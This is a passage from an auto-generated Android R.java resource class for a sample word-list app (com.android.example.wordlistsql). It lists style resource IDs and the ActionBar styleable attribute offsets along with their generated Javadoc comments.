public static final int Platform_Widget_AppCompat_Spinner=0x7f08001e;
public static final int RtlOverlay_DialogWindowTitle_AppCompat=0x7f08002b;
public static final int RtlOverlay_Widget_AppCompat_ActionBar_TitleItem=0x7f08002c;
public static final int RtlOverlay_Widget_AppCompat_DialogTitle_Icon=0x7f08002d;
public static final int RtlOverlay_Widget_AppCompat_PopupMenuItem=0x7f08002e;
public static final int RtlOverlay_Widget_AppCompat_PopupMenuItem_InternalGroup=0x7f08002f;
public static final int RtlOverlay_Widget_AppCompat_PopupMenuItem_Text=0x7f080030;
public static final int RtlOverlay_Widget_AppCompat_Search_DropDown=0x7f080031;
public static final int RtlOverlay_Widget_AppCompat_Search_DropDown_Icon1=0x7f080032;
public static final int RtlOverlay_Widget_AppCompat_Search_DropDown_Icon2=0x7f080033;
public static final int RtlOverlay_Widget_AppCompat_Search_DropDown_Query=0x7f080034;
public static final int RtlOverlay_Widget_AppCompat_Search_DropDown_Text=0x7f080035;
public static final int RtlOverlay_Widget_AppCompat_SearchView_MagIcon=0x7f080036;
public static final int RtlUnderlay_Widget_AppCompat_ActionButton=0x7f080037;
public static final int RtlUnderlay_Widget_AppCompat_ActionButton_Overflow=0x7f080038;
public static final int TextAppearance_AppCompat=0x7f0800c4;
public static final int TextAppearance_AppCompat_Body1=0x7f0800c5;
public static final int TextAppearance_AppCompat_Body2=0x7f0800c6;
public static final int TextAppearance_AppCompat_Button=0x7f0800c7;
public static final int TextAppearance_AppCompat_Caption=0x7f0800c8;
public static final int TextAppearance_AppCompat_Display1=0x7f0800c9;
public static final int TextAppearance_AppCompat_Display2=0x7f0800ca;
public static final int TextAppearance_AppCompat_Display3=0x7f0800cb;
public static final int TextAppearance_AppCompat_Display4=0x7f0800cc;
public static final int TextAppearance_AppCompat_Headline=0x7f0800cd;
public static final int TextAppearance_AppCompat_Inverse=0x7f0800ce;
public static final int TextAppearance_AppCompat_Large=0x7f0800cf;
public static final int TextAppearance_AppCompat_Large_Inverse=0x7f0800d0;
public static final int TextAppearance_AppCompat_Light_SearchResult_Subtitle=0x7f0800d1;
public static final int TextAppearance_AppCompat_Light_SearchResult_Title=0x7f0800d2;
public static final int TextAppearance_AppCompat_Light_Widget_PopupMenu_Large=0x7f0800d3;
public static final int TextAppearance_AppCompat_Light_Widget_PopupMenu_Small=0x7f0800d4;
public static final int TextAppearance_AppCompat_Medium=0x7f0800d5;
public static final int TextAppearance_AppCompat_Medium_Inverse=0x7f0800d6;
public static final int TextAppearance_AppCompat_Menu=0x7f0800d7;
public static final int TextAppearance_AppCompat_SearchResult_Subtitle=0x7f0800d8;
public static final int TextAppearance_AppCompat_SearchResult_Title=0x7f0800d9;
public static final int TextAppearance_AppCompat_Small=0x7f0800da;
public static final int TextAppearance_AppCompat_Small_Inverse=0x7f0800db;
public static final int TextAppearance_AppCompat_Subhead=0x7f0800dc;
public static final int TextAppearance_AppCompat_Subhead_Inverse=0x7f0800dd;
public static final int TextAppearance_AppCompat_Title=0x7f0800de;
public static final int TextAppearance_AppCompat_Title_Inverse=0x7f0800df;
public static final int TextAppearance_AppCompat_Widget_ActionBar_Menu=0x7f0800e0;
public static final int TextAppearance_AppCompat_Widget_ActionBar_Subtitle=0x7f0800e1;
public static final int TextAppearance_AppCompat_Widget_ActionBar_Subtitle_Inverse=0x7f0800e2;
public static final int TextAppearance_AppCompat_Widget_ActionBar_Title=0x7f0800e3;
public static final int TextAppearance_AppCompat_Widget_ActionBar_Title_Inverse=0x7f0800e4;
public static final int TextAppearance_AppCompat_Widget_ActionMode_Subtitle=0x7f0800e5;
public static final int TextAppearance_AppCompat_Widget_ActionMode_Subtitle_Inverse=0x7f0800e6;
public static final int TextAppearance_AppCompat_Widget_ActionMode_Title=0x7f0800e7;
public static final int TextAppearance_AppCompat_Widget_ActionMode_Title_Inverse=0x7f0800e8;
public static final int TextAppearance_AppCompat_Widget_Button=0x7f0800e9;
public static final int TextAppearance_AppCompat_Widget_Button_Inverse=0x7f0800ea;
public static final int TextAppearance_AppCompat_Widget_DropDownItem=0x7f0800eb;
public static final int TextAppearance_AppCompat_Widget_PopupMenu_Header=0x7f0800ec;
public static final int TextAppearance_AppCompat_Widget_PopupMenu_Large=0x7f0800ed;
public static final int TextAppearance_AppCompat_Widget_PopupMenu_Small=0x7f0800ee;
public static final int TextAppearance_AppCompat_Widget_Switch=0x7f0800ef;
public static final int TextAppearance_AppCompat_Widget_TextView_SpinnerItem=0x7f0800f0;
public static final int TextAppearance_Design_CollapsingToolbar_Expanded=0x7f0800f1;
public static final int TextAppearance_Design_Counter=0x7f0800f2;
public static final int TextAppearance_Design_Counter_Overflow=0x7f0800f3;
public static final int TextAppearance_Design_Error=0x7f0800f4;
public static final int TextAppearance_Design_Hint=0x7f0800f5;
public static final int TextAppearance_Design_Snackbar_Message=0x7f0800f6;
public static final int TextAppearance_Design_Tab=0x7f0800f7;
public static final int TextAppearance_StatusBar_EventContent=0x7f080026;
public static final int TextAppearance_StatusBar_EventContent_Info=0x7f080027;
public static final int TextAppearance_StatusBar_EventContent_Line2=0x7f080028;
public static final int TextAppearance_StatusBar_EventContent_Time=0x7f080029;
public static final int TextAppearance_StatusBar_EventContent_Title=0x7f08002a;
public static final int TextAppearance_Widget_AppCompat_ExpandedMenu_Item=0x7f0800f8;
public static final int TextAppearance_Widget_AppCompat_Toolbar_Subtitle=0x7f0800f9;
public static final int TextAppearance_Widget_AppCompat_Toolbar_Title=0x7f0800fa;
public static final int Theme_AppCompat=0x7f0800fb;
public static final int Theme_AppCompat_CompactMenu=0x7f0800fc;
public static final int Theme_AppCompat_DayNight=0x7f080005;
public static final int Theme_AppCompat_DayNight_DarkActionBar=0x7f080006;
public static final int Theme_AppCompat_DayNight_Dialog=0x7f080007;
public static final int Theme_AppCompat_DayNight_Dialog_Alert=0x7f080008;
public static final int Theme_AppCompat_DayNight_Dialog_MinWidth=0x7f080009;
public static final int Theme_AppCompat_DayNight_DialogWhenLarge=0x7f08000a;
public static final int Theme_AppCompat_DayNight_NoActionBar=0x7f08000b;
public static final int Theme_AppCompat_Dialog=0x7f0800fd;
public static final int Theme_AppCompat_Dialog_Alert=0x7f0800fe;
public static final int Theme_AppCompat_Dialog_MinWidth=0x7f0800ff;
public static final int Theme_AppCompat_DialogWhenLarge=0x7f080100;
public static final int Theme_AppCompat_Light=0x7f080101;
public static final int Theme_AppCompat_Light_DarkActionBar=0x7f080102;
public static final int Theme_AppCompat_Light_Dialog=0x7f080103;
public static final int Theme_AppCompat_Light_Dialog_Alert=0x7f080104;
public static final int Theme_AppCompat_Light_Dialog_MinWidth=0x7f080105;
public static final int Theme_AppCompat_Light_DialogWhenLarge=0x7f080106;
public static final int Theme_AppCompat_Light_NoActionBar=0x7f080107;
public static final int Theme_AppCompat_NoActionBar=0x7f080108;
public static final int Theme_Design=0x7f080109;
public static final int Theme_Design_BottomSheetDialog=0x7f08010a;
public static final int Theme_Design_Light=0x7f08010b;
public static final int Theme_Design_Light_BottomSheetDialog=0x7f08010c;
public static final int Theme_Design_Light_NoActionBar=0x7f08010d;
public static final int Theme_Design_NoActionBar=0x7f08010e;
public static final int ThemeOverlay_AppCompat=0x7f08010f;
public static final int ThemeOverlay_AppCompat_ActionBar=0x7f080110;
public static final int ThemeOverlay_AppCompat_Dark=0x7f080111;
public static final int ThemeOverlay_AppCompat_Dark_ActionBar=0x7f080112;
public static final int ThemeOverlay_AppCompat_Dialog=0x7f080113;
public static final int ThemeOverlay_AppCompat_Dialog_Alert=0x7f080114;
public static final int ThemeOverlay_AppCompat_Light=0x7f080115;
public static final int Widget_AppCompat_ActionBar=0x7f080116;
public static final int Widget_AppCompat_ActionBar_Solid=0x7f080117;
public static final int Widget_AppCompat_ActionBar_TabBar=0x7f080118;
public static final int Widget_AppCompat_ActionBar_TabText=0x7f080119;
public static final int Widget_AppCompat_ActionBar_TabView=0x7f08011a;
public static final int Widget_AppCompat_ActionButton=0x7f08011b;
public static final int Widget_AppCompat_ActionButton_CloseMode=0x7f08011c;
public static final int Widget_AppCompat_ActionButton_Overflow=0x7f08011d;
public static final int Widget_AppCompat_ActionMode=0x7f08011e;
public static final int Widget_AppCompat_ActivityChooserView=0x7f08011f;
public static final int Widget_AppCompat_AutoCompleteTextView=0x7f080120;
public static final int Widget_AppCompat_Button=0x7f080121;
public static final int Widget_AppCompat_Button_Borderless=0x7f080122;
public static final int Widget_AppCompat_Button_Borderless_Colored=0x7f080123;
public static final int Widget_AppCompat_Button_ButtonBar_AlertDialog=0x7f080124;
public static final int Widget_AppCompat_Button_Colored=0x7f080125;
public static final int Widget_AppCompat_Button_Small=0x7f080126;
public static final int Widget_AppCompat_ButtonBar=0x7f080127;
public static final int Widget_AppCompat_ButtonBar_AlertDialog=0x7f080128;
public static final int Widget_AppCompat_CompoundButton_CheckBox=0x7f080129;
public static final int Widget_AppCompat_CompoundButton_RadioButton=0x7f08012a;
public static final int Widget_AppCompat_CompoundButton_Switch=0x7f08012b;
public static final int Widget_AppCompat_DrawerArrowToggle=0x7f08012c;
public static final int Widget_AppCompat_DropDownItem_Spinner=0x7f08012d;
public static final int Widget_AppCompat_EditText=0x7f08012e;
public static final int Widget_AppCompat_ImageButton=0x7f08012f;
public static final int Widget_AppCompat_Light_ActionBar=0x7f080130;
public static final int Widget_AppCompat_Light_ActionBar_Solid=0x7f080131;
public static final int Widget_AppCompat_Light_ActionBar_Solid_Inverse=0x7f080132;
public static final int Widget_AppCompat_Light_ActionBar_TabBar=0x7f080133;
public static final int Widget_AppCompat_Light_ActionBar_TabBar_Inverse=0x7f080134;
public static final int Widget_AppCompat_Light_ActionBar_TabText=0x7f080135;
public static final int Widget_AppCompat_Light_ActionBar_TabText_Inverse=0x7f080136;
public static final int Widget_AppCompat_Light_ActionBar_TabView=0x7f080137;
public static final int Widget_AppCompat_Light_ActionBar_TabView_Inverse=0x7f080138;
public static final int Widget_AppCompat_Light_ActionButton=0x7f080139;
public static final int Widget_AppCompat_Light_ActionButton_CloseMode=0x7f08013a;
public static final int Widget_AppCompat_Light_ActionButton_Overflow=0x7f08013b;
public static final int Widget_AppCompat_Light_ActionMode_Inverse=0x7f08013c;
public static final int Widget_AppCompat_Light_ActivityChooserView=0x7f08013d;
public static final int Widget_AppCompat_Light_AutoCompleteTextView=0x7f08013e;
public static final int Widget_AppCompat_Light_DropDownItem_Spinner=0x7f08013f;
public static final int Widget_AppCompat_Light_ListPopupWindow=0x7f080140;
public static final int Widget_AppCompat_Light_ListView_DropDown=0x7f080141;
public static final int Widget_AppCompat_Light_PopupMenu=0x7f080142;
public static final int Widget_AppCompat_Light_PopupMenu_Overflow=0x7f080143;
public static final int Widget_AppCompat_Light_SearchView=0x7f080144;
public static final int Widget_AppCompat_Light_Spinner_DropDown_ActionBar=0x7f080145;
public static final int Widget_AppCompat_ListMenuView=0x7f080146;
public static final int Widget_AppCompat_ListPopupWindow=0x7f080147;
public static final int Widget_AppCompat_ListView=0x7f080148;
public static final int Widget_AppCompat_ListView_DropDown=0x7f080149;
public static final int Widget_AppCompat_ListView_Menu=0x7f08014a;
public static final int Widget_AppCompat_PopupMenu=0x7f08014b;
public static final int Widget_AppCompat_PopupMenu_Overflow=0x7f08014c;
public static final int Widget_AppCompat_PopupWindow=0x7f08014d;
public static final int Widget_AppCompat_ProgressBar=0x7f08014e;
public static final int Widget_AppCompat_ProgressBar_Horizontal=0x7f08014f;
public static final int Widget_AppCompat_RatingBar=0x7f080150;
public static final int Widget_AppCompat_RatingBar_Indicator=0x7f080151;
public static final int Widget_AppCompat_RatingBar_Small=0x7f080152;
public static final int Widget_AppCompat_SearchView=0x7f080153;
public static final int Widget_AppCompat_SearchView_ActionBar=0x7f080154;
public static final int Widget_AppCompat_SeekBar=0x7f080155;
public static final int Widget_AppCompat_SeekBar_Discrete=0x7f080156;
public static final int Widget_AppCompat_Spinner=0x7f080157;
public static final int Widget_AppCompat_Spinner_DropDown=0x7f080158;
public static final int Widget_AppCompat_Spinner_DropDown_ActionBar=0x7f080159;
public static final int Widget_AppCompat_Spinner_Underlined=0x7f08015a;
public static final int Widget_AppCompat_TextView_SpinnerItem=0x7f08015b;
public static final int Widget_AppCompat_Toolbar=0x7f08015c;
public static final int Widget_AppCompat_Toolbar_Button_Navigation=0x7f08015d;
public static final int Widget_Design_AppBarLayout=0x7f080082;
public static final int Widget_Design_BottomSheet_Modal=0x7f08015e;
public static final int Widget_Design_CollapsingToolbar=0x7f08015f;
public static final int Widget_Design_CoordinatorLayout=0x7f080160;
public static final int Widget_Design_FloatingActionButton=0x7f080161;
public static final int Widget_Design_NavigationView=0x7f080162;
public static final int Widget_Design_ScrimInsetsFrameLayout=0x7f080163;
public static final int Widget_Design_Snackbar=0x7f080164;
public static final int Widget_Design_TabLayout=0x7f080001;
public static final int Widget_Design_TextInputLayout=0x7f080165;
public static final int word_title=0x7f080166;
}
public static final class styleable {
/** Attributes that can be used with a ActionBar.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #ActionBar_background com.android.example.wordlistsql:background}</code></td><td></td></tr>
<tr><td><code>{@link #ActionBar_backgroundSplit com.android.example.wordlistsql:backgroundSplit}</code></td><td></td></tr>
<tr><td><code>{@link #ActionBar_backgroundStacked com.android.example.wordlistsql:backgroundStacked}</code></td><td></td></tr>
<tr><td><code>{@link #ActionBar_contentInsetEnd com.android.example.wordlistsql:contentInsetEnd}</code></td><td></td></tr>
<tr><td><code>{@link #ActionBar_contentInsetEndWithActions com.android.example.wordlistsql:contentInsetEndWithActions}</code></td><td></td></tr>
<tr><td><code>{@link #ActionBar_contentInsetLeft com.android.example.wordlistsql:contentInsetLeft}</code></td><td></td></tr>
<tr><td><code>{@link #ActionBar_contentInsetRight com.android.example.wordlistsql:contentInsetRight}</code></td><td></td></tr>
<tr><td><code>{@link #ActionBar_contentInsetStart com.android.example.wordlistsql:contentInsetStart}</code></td><td></td></tr>
<tr><td><code>{@link #ActionBar_contentInsetStartWithNavigation com.android.example.wordlistsql:contentInsetStartWithNavigation}</code></td><td></td></tr>
<tr><td><code>{@link #ActionBar_customNavigationLayout com.android.example.wordlistsql:customNavigationLayout}</code></td><td></td></tr>
<tr><td><code>{@link #ActionBar_displayOptions com.android.example.wordlistsql:displayOptions}</code></td><td></td></tr>
<tr><td><code>{@link #ActionBar_divider com.android.example.wordlistsql:divider}</code></td><td></td></tr>
<tr><td><code>{@link #ActionBar_elevation com.android.example.wordlistsql:elevation}</code></td><td></td></tr>
<tr><td><code>{@link #ActionBar_height com.android.example.wordlistsql:height}</code></td><td></td></tr>
<tr><td><code>{@link #ActionBar_hideOnContentScroll com.android.example.wordlistsql:hideOnContentScroll}</code></td><td></td></tr>
<tr><td><code>{@link #ActionBar_homeAsUpIndicator com.android.example.wordlistsql:homeAsUpIndicator}</code></td><td></td></tr>
<tr><td><code>{@link #ActionBar_homeLayout com.android.example.wordlistsql:homeLayout}</code></td><td></td></tr>
<tr><td><code>{@link #ActionBar_icon com.android.example.wordlistsql:icon}</code></td><td></td></tr>
<tr><td><code>{@link #ActionBar_indeterminateProgressStyle com.android.example.wordlistsql:indeterminateProgressStyle}</code></td><td></td></tr>
<tr><td><code>{@link #ActionBar_itemPadding com.android.example.wordlistsql:itemPadding}</code></td><td></td></tr>
<tr><td><code>{@link #ActionBar_logo com.android.example.wordlistsql:logo}</code></td><td></td></tr>
<tr><td><code>{@link #ActionBar_navigationMode com.android.example.wordlistsql:navigationMode}</code></td><td></td></tr>
<tr><td><code>{@link #ActionBar_popupTheme com.android.example.wordlistsql:popupTheme}</code></td><td></td></tr>
<tr><td><code>{@link #ActionBar_progressBarPadding com.android.example.wordlistsql:progressBarPadding}</code></td><td></td></tr>
<tr><td><code>{@link #ActionBar_progressBarStyle com.android.example.wordlistsql:progressBarStyle}</code></td><td></td></tr>
<tr><td><code>{@link #ActionBar_subtitle com.android.example.wordlistsql:subtitle}</code></td><td></td></tr>
<tr><td><code>{@link #ActionBar_subtitleTextStyle com.android.example.wordlistsql:subtitleTextStyle}</code></td><td></td></tr>
<tr><td><code>{@link #ActionBar_title com.android.example.wordlistsql:title}</code></td><td></td></tr>
<tr><td><code>{@link #ActionBar_titleTextStyle com.android.example.wordlistsql:titleTextStyle}</code></td><td></td></tr>
</table>
@see #ActionBar_background
@see #ActionBar_backgroundSplit
@see #ActionBar_backgroundStacked
@see #ActionBar_contentInsetEnd
@see #ActionBar_contentInsetEndWithActions
@see #ActionBar_contentInsetLeft
@see #ActionBar_contentInsetRight
@see #ActionBar_contentInsetStart
@see #ActionBar_contentInsetStartWithNavigation
@see #ActionBar_customNavigationLayout
@see #ActionBar_displayOptions
@see #ActionBar_divider
@see #ActionBar_elevation
@see #ActionBar_height
@see #ActionBar_hideOnContentScroll
@see #ActionBar_homeAsUpIndicator
@see #ActionBar_homeLayout
@see #ActionBar_icon
@see #ActionBar_indeterminateProgressStyle
@see #ActionBar_itemPadding
@see #ActionBar_logo
@see #ActionBar_navigationMode
@see #ActionBar_popupTheme
@see #ActionBar_progressBarPadding
@see #ActionBar_progressBarStyle
@see #ActionBar_subtitle
@see #ActionBar_subtitleTextStyle
@see #ActionBar_title
@see #ActionBar_titleTextStyle
*/
public static final int[] ActionBar = {
0x7f010001, 0x7f010003, 0x7f010004, 0x7f010005,
0x7f010006, 0x7f010007, 0x7f010008, 0x7f010009,
0x7f01000a, 0x7f01000b, 0x7f01000c, 0x7f01000d,
0x7f01000e, 0x7f01000f, 0x7f010010, 0x7f010011,
0x7f010012, 0x7f010013, 0x7f010014, 0x7f010015,
0x7f010016, 0x7f010017, 0x7f010018, 0x7f010019,
0x7f01001a, 0x7f01001b, 0x7f01001c, 0x7f01001d,
0x7f01005f
};
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#background}
attribute's value can be found in the {@link #ActionBar} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:background
*/
public static final int ActionBar_background = 10;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#backgroundSplit}
attribute's value can be found in the {@link #ActionBar} array.
<p>May be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
<p>May be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
@attr name com.android.example.wordlistsql:backgroundSplit
*/
public static final int ActionBar_backgroundSplit = 12;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#backgroundStacked}
attribute's value can be found in the {@link #ActionBar} array.
<p>May be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
<p>May be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
@attr name com.android.example.wordlistsql:backgroundStacked
*/
public static final int ActionBar_backgroundStacked = 11;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#contentInsetEnd}
attribute's value can be found in the {@link #ActionBar} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:contentInsetEnd
*/
public static final int ActionBar_contentInsetEnd = 21;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#contentInsetEndWithActions}
attribute's value can be found in the {@link #ActionBar} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:contentInsetEndWithActions
*/
public static final int ActionBar_contentInsetEndWithActions = 25;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#contentInsetLeft}
attribute's value can be found in the {@link #ActionBar} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:contentInsetLeft
*/
public static final int ActionBar_contentInsetLeft = 22;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#contentInsetRight}
attribute's value can be found in the {@link #ActionBar} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:contentInsetRight
*/
public static final int ActionBar_contentInsetRight = 23;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#contentInsetStart}
attribute's value can be found in the {@link #ActionBar} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:contentInsetStart
*/
public static final int ActionBar_contentInsetStart = 20;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#contentInsetStartWithNavigation}
attribute's value can be found in the {@link #ActionBar} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:contentInsetStartWithNavigation
*/
public static final int ActionBar_contentInsetStartWithNavigation = 24;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#customNavigationLayout}
attribute's value can be found in the {@link #ActionBar} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:customNavigationLayout
*/
public static final int ActionBar_customNavigationLayout = 13;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#displayOptions}
attribute's value can be found in the {@link #ActionBar} array.
<p>Must be one or more (separated by '|') of the following constant values.</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Constant</th><th>Value</th><th>Description</th></tr>
<tr><td><code>none</code></td><td>0</td><td></td></tr>
<tr><td><code>useLogo</code></td><td>0x1</td><td></td></tr>
<tr><td><code>showHome</code></td><td>0x2</td><td></td></tr>
<tr><td><code>homeAsUp</code></td><td>0x4</td><td></td></tr>
<tr><td><code>showTitle</code></td><td>0x8</td><td></td></tr>
<tr><td><code>showCustom</code></td><td>0x10</td><td></td></tr>
<tr><td><code>disableHome</code></td><td>0x20</td><td></td></tr>
</table>
@attr name com.android.example.wordlistsql:displayOptions
*/
public static final int ActionBar_displayOptions = 3;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#divider}
attribute's value can be found in the {@link #ActionBar} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:divider
*/
public static final int ActionBar_divider = 9;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#elevation}
attribute's value can be found in the {@link #ActionBar} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:elevation
*/
public static final int ActionBar_elevation = 26;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#height}
attribute's value can be found in the {@link #ActionBar} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:height
*/
public static final int ActionBar_height = 0;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#hideOnContentScroll}
attribute's value can be found in the {@link #ActionBar} array.
<p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:hideOnContentScroll
*/
public static final int ActionBar_hideOnContentScroll = 19;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#homeAsUpIndicator}
attribute's value can be found in the {@link #ActionBar} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:homeAsUpIndicator
*/
public static final int ActionBar_homeAsUpIndicator = 28;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#homeLayout}
attribute's value can be found in the {@link #ActionBar} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:homeLayout
*/
public static final int ActionBar_homeLayout = 14;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#icon}
attribute's value can be found in the {@link #ActionBar} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:icon
*/
public static final int ActionBar_icon = 7;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#indeterminateProgressStyle}
attribute's value can be found in the {@link #ActionBar} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:indeterminateProgressStyle
*/
public static final int ActionBar_indeterminateProgressStyle = 16;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#itemPadding}
attribute's value can be found in the {@link #ActionBar} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:itemPadding
*/
public static final int ActionBar_itemPadding = 18;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#logo}
attribute's value can be found in the {@link #ActionBar} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:logo
*/
public static final int ActionBar_logo = 8;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#navigationMode}
attribute's value can be found in the {@link #ActionBar} array.
<p>Must be one of the following constant values.</p>
<table>
<colgroup align="left" />
